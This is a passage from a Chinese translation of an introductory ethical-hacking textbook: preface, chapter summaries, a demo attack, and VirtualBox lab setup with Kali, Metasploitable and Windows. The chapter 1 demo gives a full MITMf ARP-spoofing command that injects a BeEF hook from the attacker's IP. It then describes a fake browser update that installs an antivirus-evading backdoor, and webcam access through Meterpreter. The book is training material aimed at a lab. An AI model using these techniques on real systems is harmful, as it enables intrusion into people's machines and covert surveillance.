从零开始的道德黑客学习指南-全-

从零开始的道德黑客学习指南(全)

原文:annas-archive.org/md5/c3dd5efc4279c754160e2c12a1da6d64

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书适用于任何希望学习如何进行黑客攻击/渗透测试的人。它旨在从零开始,假设没有先前的知识,并将您带入该主题的强大中级水平。这本书非常实用,但不会忽视理论。它从一些基本术语开始;然后,您将学习如何设置一个渗透测试实验室并安装所有必要的软件。该书的其余部分分为多个部分,每部分涵盖一个渗透测试领域——从网络、服务器和网站到客户端攻击和社会工程学。在每个部分中,您将学习目标系统的工作原理,系统中的弱点,如何利用这些弱点并入侵系统,以及如何保护系统免受讨论中的弱点影响。通过本书,您将建立一个坚实的基础,并对黑客攻击/渗透测试有了良好的理解,因此您将能够结合所展示的技术并根据不同情景进行调整。

本书的对象

本书从零开始,假设读者没有先前的黑客攻击/渗透测试知识。因此,它适合任何对学习如何像真正的黑客一样入侵或测试系统安全性感兴趣的人。

本书内容

第一章,介绍,讨论了伦理黑客的概念,并涵盖了关于渗透测试不同领域的基本信息。

第二章,建立实验室,涵盖了建立实验室并安装所有启动渗透测试所需软件的内容。我们将讨论这个问题,因为在整本书中,我们将学习如何通过在其中创建虚拟环境来对我们的系统进行攻击。

第三章,Linux 基础,引导您了解 Kali Linux 环境,使您熟悉虚拟框架。我们将学习一些基本命令,并查看软件的安装和更新。

第四章,网络渗透测试,将涵盖我们所说的网络的基础知识,并检查各种类型的网络。此外,我们还将讨论与网络相关的一些术语。

第五章,预连接攻击,将讨论无线网卡。然后我们将学习如何收集有关网络和计算机的信息,并学习如何发起攻击,例如在没有目标凭证的情况下控制连接。我们将学习如何通过创建虚拟接入点来捕获有关受害者的信息,目标将连接到这些接入点。

第六章,网络渗透测试 - 获取访问权限,演示了如何利用我们收集到的所有关于受害者的信息破解密钥并访问目标。在本章中,我们还将教你如何破解 WEP/WPA/WPA2 加密。

第七章,连接后攻击,将教你如何收集网络信息,以便我们利用这些信息执行更强大的攻击。为此,我们将使用多种工具。每种工具都有不同的优点,我们可以利用这些优点找到更多关于受害者的有用信息。

第八章,中间人攻击,将介绍如何发起各种中间人攻击,如 ARP 欺骗、会话劫持和 DNS 欺骗。我们还将学习 Wireshark 工具,它在分析进出受害者系统的数据包时非常有效。

第九章,网络渗透测试、检测与安全*,讨论了 ARP 中毒——我们将讨论如何执行此攻击,如何检测它,以及如何防止和保护我们的系统免受此类攻击。我们还将学习如何使用 Wireshark 工具帮助我们完成所有这些任务。

第十章,获取计算机设备访问权限,教我们如何完全控制任何计算机系统。本章将介绍第一种方法,即服务器端攻击。在本章中,我们将学习如何在没有用户干预的情况下完全访问目标系统。我们甚至会收集关于受害者操作系统的信息,以及可能帮助我们识别系统弱点和漏洞的任何开放端口和已安装的服务。然后,我们将利用这些漏洞来控制目标。

第十一章,使用工具扫描漏洞,将展示如何使用内置的 Metasploit 框架来帮助我们扫描网络和目标,以便我们可以获取有关它们的信息。

第十二章,客户端攻击,介绍了获取受害者系统访问权限的第二种方法。在这里,我们将利用进出目标系统的数据包来发起攻击。为了追踪数据包,我们将学习一个名为 Veil 的工具,它甚至帮助我们生成后门。我们还将讨论如何保护我们的系统安全。

第十三章,客户端攻击 – 社会工程学,教你如何在漏洞不明显的情况下访问受害者的系统。在这种情况下,我们唯一的解决方案就是与用户互动,这也是社会工程学的作用所在。我们将使用各种技巧,让受害者在其设备上安装后门。为此,我们将即时创建假更新,并对下载的文件进行后门植入。

第十四章,使用 BeEF 攻击与检测特洛伊木马,教我们如何使用 BeEF 工具。我们将学习一些基本命令,并利用它来检测特洛伊木马。

第十五章,局外网络攻击,展示了我们将在其他网络上发起的攻击。我们将学习 IP 转发的概念,并探讨如何利用外部后门发起这些攻击。

第十六章,后期利用,教你如何与已经突破的系统进行交互。我们将学习如何保持对被攻破的系统(及文件系统)的访问权限。我们还将学习如何利用目标计算机来攻击或监控网络中的其他计算机。

第十七章,网站渗透测试,讨论了网站如何工作,我们还将探讨如何利用后端漏洞。

第十八章,网站渗透测试 – 信息收集,解释了如何收集关于目标的信息,特别是网站所有者或托管这些网站的服务器。我们可以通过使用命令和工具如 Netcraft 来完成这一过程。我们还将讲解子域名的概念。

第十九章,文件上传、代码执行和文件包含漏洞,涉及各种漏洞,并通过实例展示如何利用这些漏洞。

第二十章,SQL 注入漏洞,讲解了最危险的漏洞之一——SQL 注入。我们还将了解如何检测此类漏洞,并保护我们的系统免受其影响。

第二十一章,跨站脚本漏洞,讲解了跨站脚本攻击。我们将了解从发起攻击到保护系统免受此类攻击的所有知识。此外,我们还将学习如何检测这些威胁。

第二十二章,使用 OWASP ZAP 自动发现漏洞,教你如何使用一个名为 Zmap 的工具,它可以帮助检测风险。它生成各种扫描结果,我们将在本章中分析这些结果。

要充分利用本书

要充分利用本书,您只需要基本的 IT 技能和一个无线适配器(仅限 Wi-Fi 破解部分)。该适配器可以是任何具有 Atheros 芯片组的设备(如 ALFA AWUS036NHA)。

下载示例代码文件

您可以从您的帐户下载本书的示例代码文件,访问www.packtpub.com。如果您是从其他地方购买本书,您可以访问www.packtpub.com/support并注册,直接将文件发送到您的电子邮件。

您可以按照以下步骤下载代码文件:

  1. 请在www.packtpub.com登录或注册。

  2. 选择支持选项卡。

  3. 点击“代码下载和勘误”。

  4. 在搜索框中输入书名,并按照屏幕上的指示操作。

下载文件后,请确保使用最新版本的解压工具解压或提取文件夹:

  • 适用于 Windows 的 WinRAR/7-Zip

  • 适用于 Mac 的 Zipeg/iZip/UnRarX

  • 适用于 Linux 的 7-Zip/PeaZip

本书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Learn-Ethical-Hacking-from-Scratch。如果代码有更新,将会在现有的 GitHub 仓库中更新。

我们还提供了其他来自丰富书籍和视频目录的代码包,您可以在github.com/PacktPublishing/查看!

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 用户名。举个例子:“我们将进入Metasploitable目录并选择.vmdk文件。”

代码块如下所示:

html, body, #map {
 height: 100%; 
 margin: 0;
 padding: 0
}

任何命令行输入或输出将以以下格式呈现:

-i eth0 -r 10.0.2.1/24

粗体:表示新术语、重要词汇或在屏幕上看到的词汇。例如,菜单或对话框中的词汇将以这种方式出现在文本中。举个例子:“如果我们进入文件 | 下载,我们会看到该文件。”

警告或重要提示将以这种方式显示。技巧和窍门将以这种方式显示。

联系我们

我们非常欢迎读者的反馈。

一般反馈:请发送电子邮件至feedback@packtpub.com,并在邮件主题中注明书名。如果您对本书的任何内容有疑问,请通过电子邮件联系我们,邮箱地址为questions@packtpub.com

勘误:虽然我们已经尽力确保内容的准确性,但难免会有错误。如果您发现本书中的错误,我们将不胜感激,如果您能将其报告给我们。请访问www.packtpub.com/submit-errata,选择您的书籍,点击“勘误提交表单”链接,并填写相关细节。

盗版:如果你在互联网上发现我们的作品的任何非法复制版本,我们将非常感激如果你能提供其所在地址或网站名称。请通过copyright@packtpub.com与我们联系,并附上该材料的链接。

如果你有兴趣成为作者:如果你在某个领域拥有专业知识,并且有兴趣写作或为书籍贡献内容,请访问authors.packtpub.com

评论

请留下评论。一旦你阅读并使用了本书,为什么不在你购买它的网站上留下评论呢?潜在的读者可以看到并利用你的公正意见来做出购买决定,我们在 Packt 能够了解你对我们产品的看法,而我们的作者也能看到你对他们书籍的反馈。谢谢!

欲了解更多关于 Packt 的信息,请访问packtpub.com

第一章:介绍

本章主要将简要概述本书中将涉及的主题。它将涵盖与黑客相关的各个方面,从如何进行黑客攻击到如何保护你的系统不被黑客攻击。稍后我们将讨论黑客的概念,并介绍三种类型的黑客:白帽黑客、黑帽黑客和灰帽黑客。在本章的最后,我们将展示一些实时的黑客应用案例。

本章将解答以下问题:

  • 本书内容概览

  • 什么是黑客技术?

  • 我们为什么要学习黑客技术?

  • 黑客技术初窥

本书内容概览

本书将教你如何从零开始成为一名道德黑客。我们假设你没有任何道德黑客的经验,到本书结束时,你将达到中级(到高级)水平。

这是本书内容的简要概述:

  • 准备工作

  • 渗透测试

  • 保护自己的系统

准备工作

在本书的第一部分,你将学习如何创建自己的实验室,以便在自己的计算机上进行道德黑客练习。你还将学习如何安装 Linux 系统并与之互动,以及如何设置其他系统进行黑客攻击练习。

渗透测试

本书的这一部分,我们将涵盖最重要的渗透测试领域。在每个部分中,我们将首先说明特定系统是如何工作的,然后测试该系统的安全性。在接下来的部分中,我们将介绍本书中涉及的各种渗透测试类型。

网络渗透测试

在网络渗透测试中,我们将首先学习网络是如何工作的,设备之间是如何互动的。

首先,我们将深入了解周围的网络;我们将通过设置一个虚假的接入点并诱使人们连接到网络,从而捕获通过这些网络发送或接收的数据。然后我们将学习如何获取任何 Wi-Fi 网络的密码,无论它是使用 WEP、WPA 还是 WPA2 加密。

我们还将介绍大量强大的攻击方法,这些方法可以让我们获得任何网络中计算机访问的账户的访问权限。我们将能够捕获网络上计算机发送或接收的用户名、密码、图片和图像。

获取访问权限

本章的这一部分,我们将学习如何获取计算机系统的访问权限。有两种方法可以破解计算机:

  • 服务器端攻击

  • 客户端攻击

在学习服务器端攻击时,你将看到如何发现安装在目标计算机上的程序中的弱点,以及如何利用这些弱点获取计算机的完全访问权限。

在客户端攻击中,你将学习如何使用社会工程学来入侵目标,你将学习如何创建不可检测的后门、看起来像图片或照片的后门等。我们还将学习如何通过使用假更新或假下载来获取我们网络中任何计算机的访问权限。

后期利用

在本节中,我们将讨论后期利用,学习如何控制我们已入侵的设备。因此,我们将看到如何打开系统的摄像头、管理其文件系统,以及如何下载或上传文件。我们还将学习如何捕获用户在键盘上输入的所有按键,甚至将那台计算机作为跳板,攻击其他计算机。

网站渗透测试

在最后的部分,我们将讨论网站渗透测试,我们将学习如何收集关于网站的全面信息,包括如何发现、利用和减轻大量严重的漏洞。

保护你的系统

最后,我们将学习如何保护自己(以及我们的系统)免受前面章节中讨论的攻击。

什么是黑客攻击?

通过黑客攻击,你可以做一些你本不应该(或不被允许)做的事情。例如,你可以查看你没有权限看到的信息,或使用你不被允许使用的计算机。黑客攻击有很多种类型,如电子邮件黑客、计算机黑客、服务器黑客和网站应用程序黑客等。

黑客有三种不同类型:

  • 黑帽黑客:黑帽黑客为自己的利益入侵系统;他们就是那些偷窃金钱或纯粹为了自己的利益而破坏系统的人。

  • 白帽黑客:白帽黑客试图保护系统安全;他们可能使用与黑帽黑客相同的方法,但他们只对拥有许可的系统进行测试,以查看系统是否存在漏洞——他们入侵这些系统是为了修复它们。

  • 灰帽黑客:还有一些灰帽黑客,他们是黑帽和白帽的混合体;他们会测试任何他们想测试的系统,即使没有得到黑客攻击的许可。一旦他们入侵了系统,他们不会破坏任何东西或窃取金钱;他们不会造成损害。甚至可能会告诉管理员如何修复漏洞。

在本书中,我们将是白帽黑客。本书仅用于教育目的,旨在教授黑客技术。它适用于那些希望保护自己网络安全、并希望成为渗透测试员来保护计算机系统的人。

为什么我们要学习黑客技术?

黑客是一个现有的领域 - 在其中有许多工作机会,每天都在发生,需要越来越多的保护。我们都听说过索尼的黑客事件,当 PlayStation 长时间停机时。像索尼这样的公司实际上正在雇佣人员来尝试黑入他们。您将学习如何黑入网络和系统,以便您可以保护它们免受黑客的攻击。

不久前,有人发现了一种方法来暴力破解 Facebook 移动网站的恢复密码密钥,因为 Facebook 没有检查您输入错误 PIN 的次数。一旦这个人做到了,他们告诉了 Facebook,并因此获得了$20,000 的奖励,因为 Facebook 有一个漏洞赏金计划。目前,许多网站和公司都有漏洞赏金计划 - 他们要求人们尝试黑客攻击他们,如果攻击成功,根据攻击的危险程度支付一定金额的报酬。

黑客的一瞥

在接下来的章节中,我们将学习如何安装黑客所需的操作系统和程序。然后,我们将学习一些关于黑客的基础知识,以及如何使用涉及的操作系统。在我们开始之前,我想给您一个关于本书结尾时您将能够做什么的概述。在本节中,我们将通过一个示例来了解如何从 Linux 机器黑入 Windows 计算机。

不要担心我们如何安装这些机器或如何运行这些命令;现在,这只是一个例子。将来,我们将把这个过程分解成步骤,您将确切地看到如何进行攻击。您还将了解攻击的工作原理,以及如何保护自己免受此类攻击。

浏览器利用框架

现在,我们将使用一个名为浏览器利用框架BeEF)的程序:

  1. 我们将启动 BeEF XSS 框架。它使用 JavaScript 代码来 hook 目标计算机;一旦计算机被 hook,我们将能够运行许多命令。以下是它的外观截图:

  1. 要运行这些命令,我们将使用中间人攻击来自动注入 BeEF 的 hook 代码。我们将使用一个名为 MITMf 的工具来执行 ARP 欺骗攻击。我们将提供网络接口、网关和目标 IP 地址,即 Windows 机器的地址。

  2. 接下来,我们将告诉 MITMf 我们希望它注入一个 JavaScript URL,并给出存储 hook 的位置。代码将类似于这样:

mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 --inject --js-url http://10.0.2.15:3000/hook.js
  1. 一旦完成这个步骤,按下Enter,它将成功运行。其输出如下所示:

  1. 这看起来很复杂;我们不知道选项是从哪里来的,所以在前面的截图中可能显得非常混乱。别担心;我们稍后会详细讨论,它会变得对你来说很容易。现在,我们需要理解的是,这个程序将注入钩子代码;这个代码允许 BeEF 黑客入侵目标计算机,并且可以在目标用户毫不知情的情况下在其浏览器中运行。

  2. 现在,去 Windows 机器并运行网页浏览器。我们将访问任何网站,例如 Google 或 Bing。

  3. 如果你回到 Kali 机器,你会看到我们在 Hooked Browsers 下有目标用户的 IP 地址,如果你点击 Commands 标签,你会看到很多类别,其中包含可以在目标计算机上运行的命令。这些在下面的截图中显示:

  1. 让我们向目标展示一个假通知栏,告诉他们有一个新的更新提示,因此点击 Social Engineering | Fake Notification Bar(Firefox),如下面的截图所示:

  1. 这将向目标用户显示一个新的更新提示,一旦他们安装了更新,我们就可以入侵他们的计算机。现在,让我们配置假通知栏,在用户点击后安装后门。

  2. 我们有一个现成的后门,它不会被杀毒软件检测到(你将在接下来的章节中看到如何做到这一点)。我们将存储这个后门,并命名为update.exe

  3. 接下来,我们将点击 Execute。现在,在运行更新之前,我们需要监听传入连接,以便在受害者尝试更新他们的计算机时连接到目标计算机。现在,如果我们点击假通知栏命令上的 Execute,该栏将显示在目标的浏览器中,如下图所示:

  1. 在前面的截图中,Firefox 显示有一个关键更新,提示你点击 Install plug-in 来安装该更新。点击后,你会看到它已经下载了一个更新文件,保存它,然后运行更新。

  2. 如果我们回到 Kali 机器,我们会看到我们成功从 Windows 机器获取了反向会话。所以,让我们与那台计算机进行交互;我们基本上将完全控制它:

现在,让我们看看如何访问目标计算机的网络摄像头。

访问目标计算机的网络摄像头

要访问网络摄像头,我们将使用随 Meterpreter 附带的插件;我们将使用webcam_stream命令。

当我们按下Enter键时,我们将能够开启摄像头。这个摄像头实际上是连接到 Windows 机器上的;我们已经入侵了这台 Windows 机器,接下来可以在上面做任何我们想做的事。再次强调,这只是我们将要使用的一个攻击示例。我们将执行更多类似的攻击,而这些攻击将使我们能够完全控制目标系统。

概述

在这一章中,我们简要介绍了本书中将深入探讨的一些主题。我们讨论了如何使用 Linux 机器入侵运行 Windows 操作系统的计算机。接着,我们通过实际例子了解了黑客攻击的概念。还讨论了不同类型的黑客。最后,我们看到了黑客攻击中涉及的各种应用。

在接下来的章节中,我们将搭建一个虚拟环境来执行各种渗透测试。我们还将安装 Kali Linux、Windows 和 Metaspoitable 机器。

第二章:建立实验室

在上一章中,我们学习了黑客攻击的概念。在本章中,我们将学习如何搭建虚拟环境,以便稍后进行渗透测试。本章将介绍虚拟机的概念,并执行安装步骤。稍后,我们将学习如何在 VirtualBox 中安装 Kali Linux,以及两台受害者机器:Windows 和 Metasploitable。我们还将讨论这些机器的功能,以及为什么我们要使用它们。在本章的末尾,我们将了解快照的概念,并学习如何实现它们。

本章将涵盖以下主题:

  • 实验室概述

  • 安装 Kali Linux

  • 安装 Metasploitable

  • 安装 Windows

  • 创建快照并使用快照

实验室概述

由于本书高度实践化,我们需要一个实验室,一个可以学习和执行攻击的地方。为了创建这个环境,我们将使用一个叫做 VirtualBox 的程序。

VirtualBox

VirtualBox 是一个程序,它允许我们在自己的计算机内安装其他计算机,就像普通计算机一样。我们将拥有一台计算机,并在其中安装其他计算机,这些计算机将作为虚拟机运行。虚拟机在渗透测试中非常重要,我们将在搭建实验室时频繁使用它们。需要特别注意的是,虚拟机就像是一个完全独立、正常工作的计算机;安装操作系统作为虚拟机并不会丢失任何内容,它的性能和安装在单独笔记本电脑上时一样。基本上,我们不需要四五台电脑或笔记本(以便进行黑客攻击),我们将把它们作为虚拟机安装在自己的计算机内部。现在可能有些模糊,但随着我们进一步深入本章,VirtualBox 的工作原理会变得更加清晰。

基本上,我们将在主计算机内部拥有三台计算机。我们的实验室将包含以下三台机器:

  • 攻击者机器:Kali Linux

  • 受害者 1:Metasploitable

  • 受害者 2:Windows

举个例子,如果我们的主计算机是 macOS,我们就不需要做任何修改。我们将有一台攻击者机器,运行 Kali Linux,稍后在本章中我们会详细了解 Kali Linux。

我们还将有两台受害者机器:

  • 一台运行 Windows 的受害者机器。

  • 一台运行操作系统叫做Metasploitable的受害者机器。

所以,我们将拥有自己的计算机,并在其中创建三台独立的计算机。这将通过使用 VirtualBox 实现。

安装 VirtualBox

下载 VirtualBox 时,只需选择与你的操作系统兼容的版本。Windows、macOS X 和 Linux 都有对应版本的 VirtualBox。

VirtualBox 是免费的,你可以从以下链接下载:www.virtualbox.org/wiki/Downloads

所以,只需找到与你操作系统兼容的 VirtualBox 版本,双击它并安装。安装非常简单;你只需双击它,点击“下一步”,“下一步”,“下一步”,就安装完成了。以下是 VirtualBox 的截图;如我们所见,它已经安装好了,并且在窗口的左侧没有任何虚拟机:

安装 Kali Linux

在本书中,我们将使用一些渗透测试工具。你可以手动安装每个工具,或者像我这样做,大多数渗透测试员都这么做——通过使用为黑客设计的操作系统来节省时间和精力。我们将使用名为 Kali Linux 的操作系统,它是基于 Debian 的 Linux 版本。它预装并预配置了我们需要使用的所有程序和应用。这意味着我们只需安装操作系统,然后就可以开始学习黑客技术。

安装 Kali 有两种方式:将其作为虚拟机安装在当前操作系统中,或者将其作为主操作系统安装在主机上。在本书中,我们实际上将以虚拟机的方式使用它,因为以虚拟机方式使用与作为主操作系统使用完全相同;它会完全与我们运行在 VirtualBox 中的电脑隔离开。如果我们弄坏了它,或出错了,修复起来非常容易。可以轻松恢复到其他快照或配置,而且使用虚拟机时我们不会失去任何功能。这就是我们总是以这种方式使用它的原因。

不管你使用的是哪个操作系统,无论是 Windows、Linux 还是 OS X,步骤完全相同。

安装 Kali Linux 的步骤如下:

  1. 下载适用于你电脑的 VirtualBox 版本。

  2. 设置好 VirtualBox 后,下载 Kali Linux,下载链接为www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/

  3. 向下滚动,确保点击的是 Kali Linux VirtualBox 镜像,而不是 VMware;然后,下载与你系统兼容的 Kali 版本。所以,如果你使用的是 64 位电脑,请下载 64 位版本,如果是 32 位电脑,请下载 32 位版本。

  4. 下载后,你应该会得到一个.ova扩展名的文件;文件名后面会跟着.ova扩展名,如下所示:

  1. 要在 VirtualBox 中安装此系统,我们只需双击该文件。你会看到一个窗口,允许你导入虚拟机。现在我们暂时保持默认设置,点击导入按钮。就这样;虚拟机准备好了:

  1. 在我们开始之前,我们将先看看如何修改一些设置。我们将点击 Kali-Linux 标签,这个标签可以在窗口的左侧看到。然后,我们将点击设置。我们要做的第一件事是进入系统并修改其内存大小。根据你电脑上的内存大小,你可以设置为 2GB,但 Kali 使用 1GB 就足够了。通常,我会设置为 2GB,因为我的电脑有 16GB 的内存。

  2. 此外,当你点击处理器标签时,你会看到,默认情况下我们为它分配了两个处理器。再说一次,我有 8 个 CPU,所以 2 个处理器对我的电脑压力不大;但 1 个 CPU 对于 Kali 来说也足够了。

  3. 接下来,我们将进入网络设置,并将其设置为使用 NAT 网络。有时,当我们将其设置为 NAT 网络时,这里可能看不到网络名称;如果是这样,请查看链接 www.youtube.com/watch?v=y0PMFg-oAEs,它会展示如何创建 NAT 网络。这个设置基本上会创建一个虚拟网络,我们的主机将作为路由器,而所有虚拟机将作为客户端连接到这个网络。因此,它们将通过主机获取互联网连接,同时,我的所有虚拟机也将连接到一个虚拟网络。这非常方便,因为我的虚拟机可以相互通信;我们可以使用其中一台来攻击另一台,并可以用它来测试网络攻击等等。

这将使我的虚拟机能够连接到互联网,并且也能相互通信,所有这些都将通过虚拟网络完成。它不会使用任何无线适配器或无线网卡;它将创建一个虚拟以太网网络,因此就虚拟机而言,它们是通过以太网电缆连接到网络的。

  1. 现在,我们可以点击确定并启动虚拟机。

  2. 现在,要开始,我们只需要点击开始按钮。然后,点击虚拟机内,按下Enter键;现在我们已经进入虚拟机:

  1. 现在它要求我们输入用户名,默认的用户名是root,然后它要求我们输入密码,默认密码是这个的反向,即toor。由于我们是使用现成的镜像安装的,因此我们可以直接点击绿色按钮,或者可以进入查看 | 全屏;屏幕会自动调整为我们的屏幕大小。

  2. 现在,请注意屏幕的右上角,我们应该能看到一个网络图标,因为我们设置了这台机器使用 NAT 网络。如果没有网络图标,意味着机器没有连接到 NAT 网络,所以如果我们打开浏览器,会发现它无法连接到互联网。

  3. 为了解决这个问题,我们只需进入屏幕顶部,它会显示菜单。进入“设备”|“网络”,我们可以点击“连接网络适配器”,如下图所示:

我们只需要做这一步,然后虚拟机会自动连接到 NAT 网络。一旦完成,几秒钟后我们将看到网络图标,如果点击它,我们就会连接到有线网络。

  1. 如下图所示,它显示为“已连接到有线网络”,所以 Kali 认为它已连接到有线网络:

现在,如果我们在浏览器中点击“再试一次”,我们将看到互联网连接正常。

不要被这个新操作系统吓到;我们会逐步了解基本操作,并且我们会经常使用它。实际上,使用它会变得非常容易。

此外,正如我所说,当你以虚拟机形式安装 Kali Linux 时,你不会失去任何功能。实际上,作为虚拟机安装它更好,因为它完全与计算机隔离,如果出现问题,修复起来会非常容易。

安装 Metasploitable

我们将使用的第二台机器是 Metasploitable。Metasploitable 是另一台 Linux 机器,你可以把它看作是 Kali 的对立面。Kali 设计用于让你入侵其他设备,而 Metasploitable 设计用于让你入侵它,所以它是为那些想学习渗透测试的人设计的。它被设计成有多个漏洞,我们将尝试使用 Kali Linux 来入侵 Metasploitable。因此,这将成为目标或受害者机器之一。

你可以在information.rapid7.com/metasploitable-download.html下载 Metasploitable。

你将得到一个 ZIP 文件,像这样。解压后,你会得到一个名为metasploitable-linux-2.0.0.zip的目录;双击它,你将看到以下文件:

所以,我们将通过以下步骤创建一个新机器:

  1. 要获取虚拟机,我们将点击“新建”,然后将其命名为Metasploitable并将其类型更改为 Linux 机器。接着,点击“下一步”,并仅为其分配 1GB 的内存。

  2. 接下来,我们将使用现有的虚拟文件选项,这与我们创建 Kali Linux 时不同(即,当我们创建新的虚拟硬盘时)。这样做的原因是我们现在拥有的镜像实际上是为 VMware Player 设计的。因此,我们将导入硬盘文件或硬盘镜像,这样我们就能直接使用安装好的虚拟机,无需重新安装。我们只需使用现有的硬盘文件。我们将进入Metasploitable目录并选择.vmdk文件。

  3. 点击“打开并创建”。我们现在就要启动虚拟机。以下是虚拟机启动并完全安装后的界面:

  1. 我们不需要安装任何东西,因为我们只是导入了一个预先安装好的系统,一个准备好的硬盘。所以,现在它要求输入用户名msfadmin,密码是相同的。我们现在已经登录:

这个虚拟机只有一个终端,并且它会给出一个警告,告诉你绝对不应该将此虚拟机暴露给外部互联网连接,因为它是一个脆弱的机器,设计上就是容易被攻击。它只在我们的实验室内,作为虚拟机安装,这样外部的人就无法访问它,这是非常安全的使用方式。如前所述,在接下来的章节中,我们将讨论如何尝试入侵这台机器。不要被终端吓到,我们会频繁使用它,并且我们将一步一步学习如何使用它。

如果我们想关闭这台机器,只需要输入sudo poweroff命令——运行这个命令后,它会要求输入管理员密码,然后机器就会关闭:

安装 Windows

最后,我们将讨论安装的机器是 Windows 机器。这是一个普通的 Windows 机器,运行的是 Windows 10。这将是另一个受害者,我们将看到如何破解它。同样,我们安装 Metasploitable 是因为它有大量的漏洞,并且它的设计就是为了被攻击。它的终端不是很友好,也不能模拟普通用户。而 Windows 机器则将用于模拟普通用户的场景,比如一个用户只是用 Windows 浏览互联网或者做其他普通用户在机器上做的事情。

所以,微软实际上发布了免费的版本,或者免费的虚拟机,您可以下载并使用。这些都可以在微软的网站上找到。您可以在developer.microsoft.com/en-us/microsoft-edge/tools/vms/下载它们。

所以,我们将通过以下步骤创建一台新机器:

  1. 确保选择您的主机操作系统。如果您使用 Windows,点击 Windows 选项卡;如果您使用 Mac,则点击 Mac 选项卡,依此类推。

  2. 从下拉框中选择 MSEdge on Win (10),并确保选择 VirtualBox 镜像。这些都是允许我们安装虚拟机的应用程序。目前,我们使用的是 VirtualBox,所以只需确保选择 VirtualBox 镜像。完成后,您将得到一个名为MSEdge.Win10.VirtualBox.zip的 ZIP 文件。解压它,您将得到文件MSEDGE-Win10TH2.ova

  3. 双击 .ova 文件,VirtualBox 会要求你导入机器——它已经为你设置好了相关设置。你现在可以按原样导入,稍后再修改设置,Windows 就会安装完成。

  4. 在启动之前,修改设置,将 RAM 改为 2 GB。然后我们可以启动它。Windows 会直接启动——它已经准备好,由微软提供给我们。

这里我们有一台完全正常运行的 Windows 机器,Windows 10,这将是我们在实验室中使用的第三台机器。它将是我们的第二台攻击机——我们的第二台受害者或目标机器。

创建和使用快照

既然我们已经创建了虚拟机,拍摄快照是一个不错的主意。快照允许我们存储当前虚拟机的状态,这样我们就可以回到或前进到某个特定状态。我们可以把快照想象成书签——例如,我们可以拍摄操作系统全新安装的快照,如果以后我们进行更新、配置或出现故障,可以回到全新安装的状态,或者恢复到出厂设置。我们也可以从那里前进到更新后的系统。我们可以随时拍摄快照,在不同的状态之间来回切换。

以下是拍摄快照的步骤:

  1. 点击我们安装的 Kali Linux;创建快照非常简单。你只需要进入“快照”并点击顶部图标栏中的相机图标:

  1. 它会要求我们命名快照,所以我们将其命名为Fresh Install,并且给出描述,说明这是一个没有更新的全新快照。给快照一个有意义的名称和描述总是一个好主意,这样将来我们才能记住快照的具体含义:

  1. 所以现在我们完成了,可以点击“确定”,这时我们将得到当前状态。我们可以更新或安装程序,甚至安装库,如果我们破坏了某些东西并且/或者想回到全新安装的状态,我们可以点击“全新安装”来恢复。

现在,我们可以回到正常的细节并启动我们的虚拟机。接下来,我们将看到一个例子。让我们在 Kali Linux 中创建一个新目录——我们将其命名为test。假设我们实际上更新了系统;当我们更新系统时,某些程序可能没有像将要安装的库那样及时更新,这些程序可能会开始出现问题。如果发生这种情况,建议回退或降级到旧版本,而不是继续使用更新版本。

我们只需要回到全新安装的状态。我们刚刚创建了一个新文件来展示,一旦你回到之前的状态,一切都会恢复到修改前的样子。关闭 Kali 后,如果我们回到快照中,我们将看到当前状态(已经被修改的状态)。如果我们更新并且更新成功,我们还可以创建一个名为“已更新系统”的快照,并包括日期和描述,例如无问题更新。点击“确定”,我们将看到两个快照——全新安装和已更新系统。

如果更新后遇到问题,我们只需要点击我们刚创建的“全新安装”,然后点击恢复图标来恢复更改。现在,如果我们启动 Kali 机器,我们会看到我们创建的新目录消失了。我们回到了没有新目录、什么都没有的状态,实际上我们回到了 Kali 的全新安装状态,回到我们拍摄快照时的状态。

假设我们已经回到了全新安装的状态,出于某种原因,我们希望回到更新后的状态,以查看是否能解决问题(可能通过在网上找到解决方案)。如果我们想回到未来的状态,只需点击“已更新系统”,然后点击“恢复”,并且——无需从当前状态创建快照——启动机器。我们将回到更新后的状态,也就是我们创建新目录的状态,test目录。

如你所见,快照确实非常有用。它们允许我们标记操作系统的状态,以便我们可以在不同配置之间切换,随时切换。快照也非常有用,尤其是在安装了 Windows 时,因为 Windows 实际上提供了一个试用版本,如果未来出现问题,我们可以回到 Windows 的全新安装状态。

总结

在本章中,我们学习了如何使用 VirtualBox,它允许我们在自己的机器中安装像 Kali Linux 和 Windows 这样的虚拟机。我们还学习了如何安装 Kali Linux,它将作为我们整个书中的攻击机,以及如何安装我们的受害者机器——Windows 和 Metasploitable。最后,我们研究了快照是什么,以及它们如何帮助我们保留虚拟环境中过去的设置。

在接下来的章节中,我们将看到如何使用 Kali Linux 机器攻击 Windows 机器和 Metasploitable 机器。

第三章:Linux 基础

本章将介绍 Kali Linux 的基础知识。我们将看到 Kali Linux 在作为虚拟机安装时的外观,并将详细解释 Kali Linux 的一些基本元素。此外,在本章后半部分,我们将学习在 Linux 终端中可以使用的不同命令。掌握这些命令后,我们将学习如何更新源以及如何在 Linux 上安装程序。

本章将涵盖以下主题:

  • Kali Linux 概述

  • Linux 命令

  • 更新源

Kali Linux 概述

现在我们已经安装了 Kali Linux,让我为你提供系统概述:什么是 Linux,文件系统结构,以及我们将要使用的一些基本应用程序。我们将现在查看系统概况,稍后我们将介绍一些命令,这些命令将在后面的章节中详细讨论。

状态栏图标

如你所见,在以下截图中,顶部有一个状态栏,靠近末尾(在应用程序菜单的左侧),有一个应用程序选项卡,用于访问 Kali Linux 默认预装的所有应用程序。这些应用程序按攻击类型分为不同的类别。我们可以看到以下分类:01 - 信息收集,02 - 漏洞分析,03 - Web 应用程序分析,04 - 数据库评估,08 - 利用工具,以及 07 - 逆向工程。这些都是可以用于渗透测试的应用程序类型:

Places 菜单允许你访问文件系统——你将要使用的文件。这类似于 Windows 系统中的“我的文档”功能。如果我们点击计算机(Computer),可以访问所有文件和设备,但我们很少使用这个菜单;通常通过左侧竖直栏中的“主页”图标来访问它。如果我们进入 Places 菜单,然后点击“主页”,就能访问桌面、文档、下载、音乐等内容,方式与 Windows 或 macOS X 中类似。我们甚至可以看到回收站(Trash),那里就是你丢弃文件的地方。这只是一个基本的文件管理器,支持后退和前进,你可以双击文件来运行它,或者双击目录来打开它:

